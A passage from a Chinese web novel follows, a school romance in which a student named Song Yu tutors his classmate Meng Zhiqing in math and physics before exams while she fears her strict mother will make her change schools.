也不喜欢舅舅一家,包括小姨一家,倒不是嫌他们非城市出生,更不是嫌他们没读过书。
在意的,是他们每回过来时的嘴脸。
“这房子大诶,以后我家招娣,来娣到附近上学,还能落个脚,诶小岚啊,还考虑让我家老小到这块住啊,给伙食费,住宿费,就看中你们家这两个阿姨了,讲英语,从小学大了也跟知卿一样英语好。”
“是诶,我家杨枫上回英语就考了三十几,说上课像听天书,根本听不懂,你们家阿姨都是硕士,过来直接能教他。”
当时硕士姐姐就在旁边,听了笑笑,“
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教要另外收费,我只负责卿卿的日常起居。”
两人当时就没说话了,因为硕士姐姐那时收费三万,他们两家四个人加起来赚得都不够付。
“姐姐可以帮我把房间门锁上吗。”
晚间七点多孟知卿像游魂一样绕着小区外围游荡。
一顿饭吃得心不在焉,宋聿却破天荒地什么都没说,帮她擦了嘴道:“累了就回去休息,早点洗漱早点睡。”
孟知卿点头,离开罗森时落日已经归于山海,她没回去,在小公园坐了会,开始乱走,最后还是给硕士姐姐拨去语音通话。
“主要我房间都是孟嘉先生留的东西,不好让他拿走的。”
那头非常热闹,四个一,三个五喊得起劲,电视也在放,吵吵闹闹一家人的感觉非常浓郁,偶尔也有妈妈的笑声。
“当然,你小表弟刚刚打碎了门口的花瓶,被他妈妈揍了一顿屁股,在罚站呢,”硕士姐姐边整理碗碟边说,“不能随便乱逛了。”
孟知卿笑了下,“好的,谢谢姐姐了。”
“没事,你一人在外面缺了什么别客气,发消息我给你送。”
孟知卿:“好的。”
“嗯,那还有什么要交代的吗。”
孟知卿:“没了。”
一起相处了十几年,硕士姐姐对她来说也早已经不是一个请来的阿姨,而是亲姐姐,在这样一个孤独寂寥的暮色里听到亲姐姐的声音,听到家里的欢闹声,人还是不免失落。
她抬眼看看月亮,柔柔的,很圆很圆。
“孟知卿,”
一道男声打断她的伤春悲秋,“还不回去在这瞎逛什么。”
循声望去,是宋聿,正坐在小区的浅水池边上,旁边累了一叠资料,长腿弯曲,姿态闲闲散散。灌木丛影晃晃差点没看到他。
“你怎么在这,”
孟知卿声色明显开朗了,撑着拐杖快步过去,“又有事吗,办完事怎么不走,坐在这干什么。”
到了近前看清旁边累得那叠资料,六本自印册,侧边用签字笔写着语数英物化生,他们选科的全部科目。
“给谁送资料吗,话说这里住了你什么人?啊,你们院什么人,你居然会有小区门卡,上回你也是进来送东西的吧,住,”
“孟知卿,”宋聿打断她,仰着头被遮进阴影里看不清神色,“不是说累了吗,累了怎么不回去休息。”
“啊,马上回,”孟知卿笑笑,像做坏事被抓包的小孩,“下来买东西的。”
“买什么,”宋聿伸出手,“拿来看看。”
孟知卿:“……”
宋聿接着道:“晚上外面很乱,以后一个女生还是不要出来闲逛,”
说着拍拍隔壁的资料,音调很低,“老葛让我负责你的一轮复习,到现在我也没尽到什么责任,花了一个多星期,终于整理了资料,你带回去好好看看吧。”
而后站起身,孟知卿这才发现他还背了包,单肩背着,黑色的,完全隐入黑暗。
“家里有多余的被子吗。”他问。
孟知卿:“?”
“我看你一个人是静不下什么心了,为了确保你小考数学不再二十分丢我的人,这两天我住你那,亲自看着你复习。”
孟知卿:“啊?”
16. 补课
“啊什么。”
宋聿抱过资料径直牵她手腕,像每回扶住她一样,一步一小心地带她往前。
孟知卿没反应过来,到了单元楼下拒绝的话还卡在喉咙口不上不下,侧目宋聿的容色有些许的,悲凉?
“你怎么了。”
她问。
宋聿没应声,只从她左边口袋摸出门卡,“今晚累了是吗,明天监督你复习高一数学,”
刷卡开门进到电梯口,“也没什么难的,帮你圈圈画画大概能应付小考。”
孟知卿一时间不知道说什么,因为宋聿看起来不像有什么私心,像真为了帮她提升学习成绩才决定住过来两天。
“你不兼职了吗。”
宋聿刷卡摁电梯,闻言垂眸望过来,“……不重要。”
盯着她的眼睛,从左眼到右眼,再从右眼到左眼,有话想说,但欲言又止。
“洗漱休息吧。”
开了大门他熟练地捡过鞋架上的拖鞋递给孟知卿,等她换完才褪下背包从里面拎出自己的拖鞋。
那包里什么都有,牙刷牙膏,换洗衣物,包括两天时间要换的内裤,他意思不在这洗内裤,穿一条换一条到时候带回去统一洗。
孟知卿红着脸,“好的。”
至此彻底打消这人还有什么私心的疑虑,人家真的是为她的学习牺牲两天。
说起来她也跟宋聿学了不少天,数学居然才考了二十几分,真真丢人。
“先休息?”
各自洗漱后宋聿揉着头发靠到孟知卿房间门口,孟知卿在里头翻他带来的资料,“这些都是你一题一题节选的?”
每一章节每一个知识点都有详细讲述,讲述后配备可能出现的考试题型,由简到难,由浅入深,简直就像自己编了一套复习题册,“真的是给我的?”
有点儿不可思议,因为一个星期前他们的关系还很僵,怎么可能就想着帮她编写复习资料?
“不然。”宋聿不冷不热地走过来,“不是说跟不上我的思维?把思维明明白白列出来,还跟不上吗。”
孟知卿:啊?
“没有,那开玩笑的。”
望望他又望望资料,一个星期整理六本,“那,你每天晚上几点睡觉?”
“你那样可不像开玩笑,”宋聿低声,伸手合上题册示意时间不早了,“早点休息吧。”
而后像才反应那句“你每天晚上几点睡觉”,“你在意?”
望向她,“跟你说七个晚上没睡着也没见你多在意,忽然在意了?”
孟知卿:“……”
行吧随便吧,干脆抠了空调遥控器里的电池,开抽屉翻新的,没电了,她摁半天没摁亮。
“不过我费工夫也不是为给你一个人编资料。”他居高临下立在课桌边,忽然开口。
孟知卿:“?”
“什么意思。”
“意思这份资料会拿出去印很多份,”指那六本,全部,“送进学校附近的补习班,一中年级第一所出,是一笔可观的收入,”
“在你之前我每年都会编,不是为你开了特例,非要熬那个夜,只是要赶在其他资料出来前送出去,晚了没价值,”
说着不咸不淡地捡出新电池,帮忙合上抽屉,“所以不用愧疚,跟你无关。”
孟知卿:“……嗷。”
那还装模作样说什么因为她七个晚上没睡着了,只是他自己想抓紧时间赚钱好吧。
“不过隔壁房间没空调你睡觉不会觉得热吗,”具体什么原因也不重要了,过去就过去,翻篇了。
她换好电池将空调开到二十五度,望向宋聿,“虽然是秋天,但这天还是挺热的。”
宋聿:“嗯,热,”
扯下擦头发的毛巾勾到脖子上,“所以呢。”
孟知卿:“?”
什么所以呢,所以呢什么,她只是随口一提。
“所以你睡客厅?”客厅有个中央空调,一开整个套件都能凉。
宋聿极淡地扬了下眉,“给人做家教还得睡沙发,看来人真不能这么自告奋勇,”
接过空调遥控器调到二十七度,“也不是所有人都领这个情。”
孟知卿:“……”
“二十七度还开什么空调。”
“找个薄点的被子就不热了。”
“没有薄被子。”
“那就毯子。”
“也没有毯子。”
宋聿望向她,“那就回家别住这。”
孟知卿笑了,“真别说,下回考不好还真得回家。”
宋聿脸色忽然就冷了。
-
次日窗外的蝉鸣比阳光先落入,已经九月中旬,也经历了一场秋雨,夏的身影还是那么难舍难分。
孟知卿起床没出房间,因为宋聿睡在客厅。
昨晚一句话没说对他忽然不笑了,什么都没提,扯了毛巾对折再对折让她早点睡就没了后话。
孟知卿不知道怎么了,也不知道哪句话没说对。
“起床没。”忽然有人敲门,她合了窗帘应,“起了。”
有意装出一副慵懒的调调,显得像刚起。
“吃早饭吧。”宋聿在外面说,说着离开房间门口,去到电视柜,“小乌龟都晨练了。”
孟知卿特地买了个玻璃缸养那只乌龟,还给它买了个同款伙伴,两小只一起爬。
“小乌龟怎么会晨练,”扯好被子简单整理发型,她开门出去,“它们是饿了,抽屉里有吃的,可以喂一点。”
宋聿穿着没见过的灰黑色运动裤,以及胸口印着红黑色英文字母的纯黑T恤,以前没见他穿过,昨晚带的包里也没有这两件。
“你回家了?”孟知卿问。
宋聿开了抽屉正往玻璃缸里撒肉粉,小乌龟闻了肉香直滑腿,一个扑这边,一个扑那头,“洗漱吃早饭吧。”
他捏上封口还看着乌龟,孟知卿:“……好的。”
早饭也是他下楼顺便带的,一碗小米粥,一个水煮蛋,一盒生煎包。
孟知卿吃不完。
“搁那开始复习吧。”宋聿在厨房洗锅碗,说下午晚上在这做饭,还出门的话浪费时间。
也没费工夫计较她说家里没通气,开不了锅,早上六点多就起床下楼了,往冰箱塞了不少蔬菜肉类,一切都在为一件事打算。
好好复习。
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“在哪里,茶几吗。”
时间已经来到上午十点半,午饭大概要等下午两点多,孟知卿擦了嘴回房间拿资料,课桌有她的闲杂日记,不排除宋聿教着无聊顺手翻开来看。
“你房间不行?”宋聿边擦手边拉上厨房移门,孟知卿:“我房间比较吵,窗户不隔音,楼下有一点声音都听得很清楚,”
可以说脸不红心不跳,“你也知道,那群小屁孩,很吵。”
宋聿点点头,“行。”
孟知卿便坐到沙发,摊开资料翻到第一页,“直接从函数开始吗。”
里面并没有按照课本章节一章一章罗列,只有部分他觉得重要,考试比较容易得分的知识点和题型,适合零基础,不适合一轮复习复习过了的。
所以他说为了赶在其他资料发行前整理出来卖给补习班,她存怀疑态度,哪个补习班全是零基础?
“是的。”宋聿在她身边坐下,沙发很软,连带着孟知卿自己也往下陷了陷,重力作用,两人大腿紧挨着大腿。
很热,很烫,宋聿一直在忙,额前还有汗,整个人都蒸腾着。
“那,那开始吧。”她不自觉觉得口干舌燥。
宋聿瞥她一眼往边上挪了点,抽一张纸擦汗,把复习资料往后翻了几页,“先看立体几何吧,考点有限,你上回也空着,懂了能拿十四分。”
孟知卿:“……好的。”
也往边上挪挪,使两人之间空出一拳的距离。
“有什么知识点你大概清楚吗,”他擦过汗丢掉纸巾,勾一支笔摁开,“线线垂直平行,线面垂直平行,面面垂直平行,大概率就考这些,没什么额外考点,”
圈出自己整理的公式,“所有证明条件就是你的证明思路,不要死记硬背,先理解,譬如线面平行,”
翻到线面平行那一页,“怎么才能确定线面平行呢,你会觉得面是一个抽象的东西,但它的角度又是确定的,面又是由无数条线构成,所以面上任意一条线的角度就等同于这个面的角度,”
“因此,”他圈出证明条件里线线平行那一条,“证明这条线,与面上某一条线平行,就是证明线面平行最重要,最直观的证明思路,你也不用盲目,倒推着去看图中哪条线似乎与那条线平行,尝试论证它就好了,”
“当然,线线平行又该怎么证明呢,看这边。”
他又翻到线线平行那一页,倒推法适用于立体几何所有证明题目,从结论找思路,没有难题,甚至无关空间思维,全是套路。
直到下午四点将近五点,孟知卿觉得自己升华了,“随便再来十题,我分分钟搞定。”
叫嚣着笑着,宋聿也难得抿出些许笑意,只是还没那么开怀,大抵花了半天只学了这么一点他觉得太慢了。
“要不把生煎热一热你当晚饭吃,别做了,今天想复习完高一内容恐怕难,还是按题型给你过一过吧,下面看三角函数?”
孟知卿:“可以啊。”
当然可以,她从没觉得学习这么轻松愉悦,“不过我吃生煎,你吃什么。”
宋聿唇角的笑莫名变得柔和,抬手揉揉她乱糟糟的脑袋,“不重要,你饱了就行。”
17. 无措
他一下午没吃,直到晚上孟知卿喊饿才做了两菜一汤。一点汤汁都没剩下,孟知卿把着碗喝了又喝,“好鲜。”
宋聿笑她,“明天早起做好。”
孟知卿也笑,“那麻烦宋老师了。”
饭后继续复习,三角函数不同于立体几何,能用眼睛在图上看,三角函数题目能不能做出来还有一点运气成分,有时候灵光乍现一下就能想到最简单最便捷的解题方法,有时候死脑筋往一个地方钻,怎么想都想不出来,绕远不说,也得不出答案。
所以直到第二天,也就是周一上午,孟知卿还在三角函数的迷魂阵里没出来。
下午补课,宋聿提前离开了,说要回家洗内裤,孟知卿只能红着脸放人,“下回考试再来,”
他离开前说,“如果有下次的话。”
阖上门的瞬间仿佛与谁就此别离了,孟知卿:“?”
不过周二考完试她就大体明白了。
落日在天那边划出一道悠长的黄昏线,考试后的晚饭时间教学楼一如既往空荡,绿茵场上传给他传给我的喊声与篮球场上进球欢呼的声音交织,松快而轻盈。
孟知卿照常等宋桥山带饭,期间去了趟厕所,回来恰好碰到不紧不慢上楼的宋聿,拎着两盒打包好的面。
“?”
“怎么是你送饭?”她问。
宋聿不冷不热,看到她时眸色亮了一瞬,“嗯。”
而后归于平淡,牵住她慢缓缓地回班。
“考得怎么样?”
班级座位还没来得及挪,昨天下午又乾坤大挪移了,孟知卿到了里侧两列,宋聿靠着墙。
帮忙把座位并过去,他出去洗勺子筷子,回来没让孟知卿起身让他进去,径直落座宋许座位。
孟知卿闻言抠打包盖的手一顿,“……不清楚诶。”
她三角函数题写了满满一答题纸,涂涂改改,到最后也没算出像样的答案,考场上就知道自己拿不到分了,回过头再看,也看不出是不是涂了哪个关键给分点,一团乱麻,干脆全划掉权当没做过。
“对答案吗。”
宋聿帮忙揭开盖子,问出考完试后,所有同学最痛恨的一句话。
孟知卿当然不能痛恨,宋聿做为她半个老师,熬大夜帮她整理了复习资料,又费时费力教她一天半,关心她的考试成绩再正常不过。
但。
“是不是太着急了,”
她示意跟前的面,“吃完再对可以吗。”
“当然,”宋聿笑了,就差用筷子敲她脑袋,“不然对完吃冷面吗。”
不对完吃冷面,吃完热面也是要对的,孟知卿率先掏出她比较自信的英语。
“阅读A篇BCD,B篇CADD,C篇讲得哈利波特,D篇联合国演讲,你答案不一样说明错了,比较简单,我确定我全对。”
宋聿跟着漫不经心地翻试卷,平时考完,他试卷都跟新的一样什么都没有,这回仿佛就为了对这个答案,特地留了痕迹。
“嗯哼,你全对。”他极不明显地夸奖。
孟知卿抿着唇忍笑。
对完拢共错三道,准确来说是三道不一样。数学先考的,她知道没考好便想着靠英语拉分,做得比平时认真十倍,对自己的答案非常确信。
所以不一样不代表她错,也可能是宋聿错,她这回就单科年级第一了也说不定。
接下来是数学,语文不过几道选择题,没什么可对的。
“立体几何做出来了吗。”宋聿翻着试卷问。
孟知卿点头,竖起卷子不知道是不敢让人看她卷面,还是不敢让人看她表情,“做出来了,两问都做出来了。”
“好,有十四分了,”宋聿满意地翻到下一页,“三角函数呢。”
孟知卿没了声响。
宋聿:“嗯?练了一晚上加一上午,没做出来?”
揭开她的“遮羞布”,“没,”
“我没做。”
孟知卿说。
“什么?”宋聿顿在那。
孟知卿觉得说没做后面他见了她的答题纸也会知道,干脆实话实讲,“没解出来,涂涂改改写得太乱了,就全叉掉了。”
宋聿没懂,把试卷递过去,指着第一道题的题干,“不是跟你说算不出答案没关系,按步骤给分,余弦分解定理总记得吧,这式子分解了吗。”
孟知卿盯着他修长干净的指,心不在焉,“开始思路没在那,思维定势跟立体几何一样用倒推法了,”
声音越来越小,“先分解后面那道式子的,什么都没看出来,慌了,忘记有没有分解前面那道,反正没做出来。”
宋聿:“……这式子不分解肯定做不出来,分解了,你一眼就能看出答案。”
说着捏过一支笔,按公式分解代入,不需要思考,三步就解出来了。
“不过你分解后面那式子也有两到四分,这题比较简单。”
“没有,”
孟知卿无情接话,“我全涂掉了,一分没有。”
宋聿静在那,窗外初秋的风干燥憋闷,能明显感觉他气色一下耷拉了下去,抬睫看向她,“你在跟谁置气,又不对付。”
孟知卿:“……我自己。”
望回去,眼底很冷,“我埋怨我自己为什么不会,为什么教了还不会,为什么这么笨,比猪还笨行了吧。”
宋聿没话说了,半晌,外头有同学回来,欢声笑语地进班,他低声,“你并没有像我看重你一样看重我,所以觉得离开也无所谓是吗,”
敲敲桌面,整个人非常焦躁,“别不承认,你就是。”
-
晚间,云一层一层卷进暮色里,月光朦胧,夜路凄凉,风一刮连热闹的小吃街仿佛都萧条了。
“去那坐会?”
宋聿并没有因为她一道题没解出来而不理她,只是问话回话平淡无波,再没笑过。
咖啡店边上不久前装了一个休闲长椅,深褐色刷漆,刚装定的时候味道很大,此刻也随风淡然了。
“可以啊。”
孟知卿跟着他往长椅的方向去,刚考完试没什么作业,谁也不赶着回去刷什么题。
矛盾核心没解决,回去了谁也不会有心睡眠。
“你母亲是个什么样的人,”宋聿接过她不知道往哪儿摆的拐杖,歪到长椅上,“可以简单说说吗。”
孟知卿料到他会问这个问题,“严肃
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,严谨,严厉,说一不二,绝对权威。”
认真点出几个词,“她决定的事谁也没办法改变,尽管那件事可能只是在一句玩笑里提出来。”
宋聿没懂,“什么意思?”
“意思她上一秒跟人笑着,笑时说了一句卿卿准备回家,你以为她还沉浸在跟人的谈话里,其实她已经在下达命令了,不听,下一秒她就会发火,或者直接把你丢在那。”
她深吸一口气,心都提到嗓子眼,“所以那天你在罗森听到她说,下回考试考不好立刻转学,也是绝对的,”
“我没办法忤逆她,她要我转学我一点办法都没有,我只能听,毕竟我现在未成年,她是我唯一的监护人,”
望向宋聿,“所以你不能说我不看重你,说我觉得离开也无所谓,我是改变不了问题根本,改变不了她,没办法,只能埋怨自己,埋怨自己为什么这么笨,为什么考不好。”
“她为什么这样。”宋聿打断,已经懂了,不用她再妄自菲薄。
“不知道,”孟知卿褪下书包抱到身前,遮在树荫里整个人暗淡无光,“看不上我吧,觉得必须帮我规划,否则就会一事无成,一事无成又丢她个大老板的人,所以一定要我顺着她的轨迹,从小就顺着,像无形的绳捆绑,不相信我,只相信她自己。”
定睛望着前面,“所,
“所以你为什么转来一中?”宋聿再次打断,也不知道从哪抓来的问题,没头没尾。
“我强烈要求的,”孟知卿沉浸其中完全不觉被打断,照实说,“之前在国际高中学习氛围很差,最后也就以普普通通的高考成绩申请某个不知名大学吧,我不想这样,想拼一把。”
“你这么说她就答应了?”宋聿望向她,眸色被恍然落下的路灯照亮。
“她嫌我烦而已,”孟知卿平静地碾碎。
“刚好雅思考试也不急,就让我离她远一点,她自己好清静清静,不然你觉得我为什么会一个人住在这,至少至少,晚间应该有个人来接我,毕竟这里晚上真的不太安全。”
宋聿沉默了,香樟树叶晃回来,遮住路灯,他的眸又暗下去。
孟知卿也沉默了,自己也不知道这一晚上为什么说了这么多话,临近告别其言也善吗,想要留住最后最纯粹的美好,不想到了最后的最后宋聿还误会自己。
毕竟他的那句“你并没有像我看重你一样看重我,所以觉得离开也无所谓”说得太无措,太无助了。
可是年少的时候谁又不是以家长为权威呢,谁又能摆脱呢。
如果换做他宋聿,他真的能不顾家长威严压制,坚持并成功留在这,养活自己的同时,交学费,住宿费,伙食费,再而兼顾学业做出一番成绩吗。
可以说她懦弱逃避无能,她就是。
她不逃避又该如何反抗呢。
“所以你不久就会转学?”
宋聿忽然问。
孟知卿静了好一会,“不一定吧,”
踢一脚路边的石子,风都跟着呼啸,“如果她能记起来的话。”
妈妈并不在乎她,所以其实懒得管她,只要她不出现在她跟前,她很少多嘴她的事。
“月考前大概率记不起来。”
18. 哽咽
如她所言,没记起来。
月考临近的周末宋聿又一次住进她家,已经熟门熟路了,收拾好客厅,摆上自带的枕头、毯子、薄被……
“月考一定考好,后面还会住进来。”
他如是解释。
孟知卿没说话,因为月考考六门,物理化学生物也计入总分,物理化学,嗯。
她没说话。
“能考好的放心,”
宋聿去她房间抱来六本资料,累到茶几上,“听说这次试卷难,你只要把握住基础分,其他,你不会他们也不会,”
扶孟知卿坐下,“所以差距不会太大,你英语还能拉点分,进年级前一百没问题。”
孟知卿,沉默。坐到沙发上,盯着那六本资料一动不动。
“生物还行是吗,那先从物理开始。”
他翻开物理资料,前两页罗列了各章节所有公式,每条公式底下对应详细解释,以及各字母所代表的含义。
“还是理解为主,”直接翻到第一章,“譬如加速度,什么是加速度,一个描述物体速度变化的量,那么时间和速度就是关键变量,”
指着第一道例题说,“小球撞击木块,给了木块一个加速度,要求加速度,那么就从中找到未知量,”
将资料递到孟知卿跟前,“你觉得哪个是未知量。”
孟知卿支吾了一下。
他接着道:“求加速度,加速度公式是末速度减初速度,除以所用时间,那你看这题题干呢,三个变量,哪个变量已知?”
“时间吧。”
孟知卿不是非常确定地说。
“对了,”他用笔尖指向题干,“要求第二秒小球的加速度,那么时间就已知,是二,”
“还有呢,除了时间还能知道什么?”
“初速度。”孟知卿没思考脱口而出,因为在他说话的时候已经想明白他想表达的意思了,“所以唯一未知量是末速度,求末速度就好了,”
说着翻到前面公式页,找到匀变速直线运动那章,“位移公式里涉及到了末速度,但位移,时间和初速度都已经知道了,只剩两个未知量,两个未知量两个方程,算出加速度。”
宋聿点头,“对。”
眼睛里有赞赏,有你很聪明,就是这样。
孟知卿干脆合上资料,“那不用看了,按这个解题思路,把公式记熟记透就好了,考前,明天再记,今天先看化学。”
“化学知识点很繁琐,需要日积月累,”他不认可地望向她,“你连周期表都不会背,很难临时抱佛脚提高多少。”
孟知卿:“……”
周期表她会背,不熟而已。
“而且直线运动是整个高中物理最简单的部分,”
他还是捡过物理资料,“后面还有抛物运动,圆周运动,又涉及力,能,磁场,你背了公式不理解还是解不出来,”
“况且不止计算,还有作图,看图题,这两种题型相对简单,吃透一定能拿分。”
“好的。”孟知卿耷拉回沙发,“那今天一天能学完吗,你们复习了半个学期加一个暑假,我一天就能学完?”
说着捡起茶几上的橘子心不在焉地剥。
讲句实话她已经想放弃了,拼死拼活最后也不一定能有多好的结果,出国留学挺好的,即便是个野鸡学校,回国来说也没几个人知道,只觉得你是留学生,挺牛。
那又为什么要有不屈服的倔强呢,搞得人心惶惶,寝食难安,连带着宋聿都吃不好睡不好,跟着她一起紧张,生怕妈妈打来电话。
还要浪费时间教她题目,她能会吗,教了她就能会?她什么脑子,烂泥扶不上墙,就该去哪个犄角旮旯自己安安静静地烂掉,别耽误,
“四五十分不是问题,你不相信我吗,”
宋聿打断她的思绪,接过橘子帮忙去掉上面的白色脉络,“就算是为了我,你静静心,认真考一考,再多留一个月,多陪我一个月行么。”
孟知卿望过去,他短发低垂,眼睑半拉,受伤的模样像只无家可归的狗,流浪狗,世界的浮萍。
“哪怕多一个星期也行,离开得太早,你会忘了我的。”他说。
-
月考结束迎来高三年级最后一场运动会,早前体育委协同班长已经选定各项目报名人选,学习紧张的原因,没多少人愿意参加,项目都报不满。
冷到最后老葛来了,在班会课给每个人都安排了项目,宋七去跑女子五千米,宋许宋桥山男子四百米接力,宋聿跳高,孟知卿啦啦队。
一窝人没一个逃过。
“尊敬的老师,亲爱的同学们大家上午好,”
运动会当天阳光正好,说暖不暖,说烈也不烈,操场边上的梧桐树静默不动,矗立着,安安静静待在无风的天气里。
无风的天气最适合比赛了,也适合阅兵一样排列着,静下心听主持人说话。
“金秋十月,秋高气爽,怀揣着激动澎湃的心情,终于迎来一年一度的校运会,再问大家好,我是来自高三九班的宋聿……”
声音自广播传出,有种说不出的坦荡,随性,不念尘事。孟知卿站在班级最后,遥眼而望。
她第一回参与全体师生的操场活动,被安排坐到塑胶跑道。
太突兀太突出了,强烈要求一视同仁,甚至连拐杖都不用带,毕竟国庆就能拆石膏,没那么脆弱。
“那宋七你扶着她吧。”
老葛妥协,孟知卿便跟宋七两人站到队伍最后面。
“看呆啦。”宋七瞧她望人望得眼睛都不眨,忍不住调侃。
孟知卿难得没有晦涩情绪,反而顺着说:“很风光啊,感觉他在发光。”
宋七笑了,“那当然,我哥什么时候不发光,只有对你别扭的时候很幼稚,其他时候都高不可攀。”
孟知卿没说话。因为她不觉得高不可攀,刚认识的时候可能觉得,现在不了。
现在只有他对自己的全心全意,红着眼眶一次又一次告诉自己,不要那么轻易地离开,权当为了他,努力一些,多留一些时候,不要那么快,那么随意地忘了他,不要。
“我想到了一个永远不忘记你的方法。”
开场仪式结束之后,所有不比赛的同学进入篮球场,各找各班级,各坐各的座位。
还是因为她腿脚不方便的原因,跟宋聿时时刻刻待在一处也没人多说什么,或者其实宋聿跟谁待在一块都不会有人
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说什么,八卦始终离他很远,没有人八卦他,大家都爱他,敬他,仰视他。
“什么方法?”宋聿坐在隔壁拧开了一瓶水,凉气于他指尖化开。
“又喝冰的,上回不还说喝冰的胃不舒服?”
孟知卿手里捏了一张纸和一支笔,本是给她写加油稿送去主席台念的,她一撕再撕,撕成了巴掌大小。
“干什么的?”宋聿忽略她那句话,指她手上的纸。
孟知卿也不好说什么,毕竟说什么他也不会听,说不定还会激起她不知道什么时候就离开了的悲伤。
“写个东西。”她拎过他的手铺展开,巴掌朝上,将纸张搁上去,“你巴掌大,借我垫一下。”
而后垂眸写字,那一刻的风好像都比静时更静了,她翘着二郎腿,宋聿的手搁在膝头,自己的手捏住他的指尖,滚烫的指尖,一笔一划并不顺畅地写下:
【宋聿,我在一中最好的朋友,你看他的模样适合什么类型呢,不管适合什么类型都麻烦你了,请一定竭尽全力,捧红他!】
将纸张递过去,“我妈妈是做经纪公司的,等你毕业,大学毕业或者研究生毕业?想入这一行的话,拿着这张纸去找乔恩,签约,你一定会红透半边天,”
盖上笔盖说,“到时候不管我在哪,哪个国家,哪个半球,哪怕世界另一头,哪怕我们的关系破裂到拼都拼不到一处,一句话也说不上,我也能时时刻刻被推送到你,永远,都没法忘记你。”
说着觉得可能有点太煽情了,话锋一转,“就比如现在我就忘不掉周熠熠,演得那个深情仔实在太帅了,每周末都要调出来看一遍的程度,特别勾人,特别让人共情。”
宋聿沉默着沉默着,脸色沉了,“什么深情仔,怎么演的?”
孟知卿示意他把纸张收好。悸动与任何情绪往往于一瞬间产生,刚刚在台下的她看到少年风光无量便想,他的路来了。
赶巧,她妈妈做了经纪公司这一行,她见过许多样貌平平,气质平平,最终被包装得万人追捧,私生追了又追的“明星”。
而像宋聿这样,举手投足不落俗套的人,才是该站在万人之上的人。
她希望他站在高处,永远站在高处。
“那我形容不出来呀,”她摊手,“要不我把电影名告诉你,你自己回去研究?说不定你研究了,自己就能演,然后出道即颠峰,一人单挑整个娱乐圈。”
宋聿没说话,凉气凝结的水珠滴落,地仿佛都震颤一下,“所以你没考好,真的要离开了。”
他问。
孟知卿沉默。
月考刚结束宋聿就问她考得怎么样了,不知道,心里没底,不敢多说。
“三角函数写出来了,上回四十三,这回应该有五十七,”她翁声,“物理选择题偷偷对了一下,八道只会两道,其他都是蒙的,错了一道。”
“单选还是多选。”
“多选。”
“四十二。”
“不,每个多选只选了一个。”
宋聿望向她,“那也有三十六分了孟知卿,够了。”
一个猝不及防,将她揽入怀中,“谢谢。”
声音闷进她的后脖颈,似乎哽咽。
19. 自我介绍
“高三九班,高三九班有同学听到吗,你们班宋七在五千米检录处崴伤脚踝,请速来人陪她去医务室,请速来人陪她去医务室。”
宋聿闷了好一会,终于松开手。孟知卿重新呼吸到新鲜的空气,大吸了一口,差点没被憋死。
“没有,离开我也会常回来看你的,不用这么恐惧。”她宽慰。
宋聿盯着她,“离开我再也不见你了。”
孟知卿:“?”
“为什么。”
“……因为见到你,就要再经历分别啊,”他抬手帮孟知卿勾掉吃进嘴里的头发,看似随意道,“所以转学了,就不要再来找我。”
孟知卿:“那你怪我会忘了你?又不见面,忘了很正常吧。”
“嗯,”他把纸张对折收进口袋,抬眸望向她,“所以要忘就忘吧。”
孟知卿:“……”
很想骂一句神经,但广播里传来宋七受伤需要人陪着去医务室的声音,“宋七受伤了。”
宋聿格外淡定,“听到了,”
然后示意操场那头,“宋许去了。”
孟知卿:“……”
“我们也去看看吧,崴伤脚踝,不会跟我一样要打石膏吧。”
如她所言,跟她一样。
医务室内,消毒水的味道一阵一阵吹出来,宋七被安排靠坐到病床上,医务老师去储物柜拿碘伏棉签,擦拭淤青,又戴了个手套帮她进一步检查崴伤情况。
“怎么崴的。”老师问。
宋七一手捏着宋许胳膊,一手撑着床头,“从塑胶跑道跳到绿茵场那软草上面,没站稳,崴了。”
咬着牙,老师动一下她的脚,她就往宋许跟前靠一步,动一下,靠一步,最后干脆埋到他肚子上哼哼。
宋许沉着脸拍了拍她的后背,孟知卿抿抿唇不知道说什么。
要说她脚崴还受了点外力影响,被“壮汉”砸的,宋七这脚崴的,完全算自己闲得。
“刚好我那两个拐杖也不扔了,你继承吧。”她一瘸一拐进门找个凳子坐下,宋聿扶着她,顺手关上医务室的门,免得叫声传出去丢人。
宋七还咬着牙,“行,你什么时候拆石膏,等你石膏拆了我就继承。”
孟知卿不厚道地想笑,“国庆吧,国庆你哥陪我去拆,拆完让他带回去。”
宋七忽然侧头望她,望望她又望望边上的宋聿。
医务老师刚好检查完示意去医院,拍过片子做复位,边摘手套边离开。她顺势坐正,满意地点点头,“已经开始有嫂子做派了。”
孟知卿:“……”
望向宋聿,他正垂着眸,“干什么!”
吓她一跳,语气里充满心虚,“可,”
“什么时候答应陪你拆石膏?”宋聿问,“国庆三倍工资,你觉得我有时间?”
孟知卿:“……”
结果是在在意这件事吗。
“那你请假好了,”她站起身,直视人,“工资我给你开,你,必须陪我去。”
-
主要医生说了最好家人陪同,上回没人陪她,她一个人凄凄惨惨地挂号、治疗、拍片子,医生看不下去。
而说家人,她又不能打电话给妈妈,更不能打扰乔恩,硕士姐姐又有工作要忙,英国阿姨更不可能,她想不到其他人选。
“辛苦你了。”
国庆第四天孟知卿的主治医生上班,网上预约挂号后,跟宋聿从梧桐苑门口打车。
窗外的阳光跳跃进来,宋聿牵过她的手捏了又捏,“不辛苦,脚好之后第一件事想做什么。”
“飞奔向你!”
孟知卿冲他笑,盛大的,还没有衰败的梧桐树叶晃进她的眼睛,她眼睛清亮,“嘿嘿,你让我干什么我就干什么,你为我牺牲一天,我这一天全听你的。”
宋聿眼睑半拉着,他近些天几乎每天都半拉着眼,许是没睡好,也许是始终沉浸在跌宕的情绪里,“那岂止一天?”
他慢悠悠地掰起手指,“上回小考,这回月考,一共请了四天假,加今天拢共多少天?”
孟知卿:“……五天。”
心想记这么清楚,前面那四天又不是她让他请的,非得临时抱佛脚,平时少拉她坐长椅上说会话,放她早点回家,多刷两道题,或者平时课上少伤春悲秋一点,多教她两个解题方法,不也提升了?
“接下来一周都听你的。”孟知卿眨巴眼。
出租车驶过医院正门,停在前面的路边,“到了啊,里侧下车。”
孟知卿径直开门,没等宋聿回话,下车伸个懒腰,“天真好呀,一会去哪吃个饭吧。”
宋聿:“……”
不过一天还是五天又有多大意义,他本身就为讨赏。要说听他的,那孟知卿说去吃个饭,他还能说去看个电影不成?
“吃完看个电影,”他关上车门,从后面压到孟知卿跟前,“就看,周熠熠最新上映的《绝杀》。”
孟知卿:“……”
“行啊,看呗。”一个大银幕上的人,那醋还能吃到哪儿去。
-
到了医院,医生说恢复很好,拆完石膏让她下地转两圈。宋聿递来一直拎在袋子里的运动鞋,示意帮她穿上。
她没躲,因为在此之前一直在乎的小脚趾已经被人看全了。
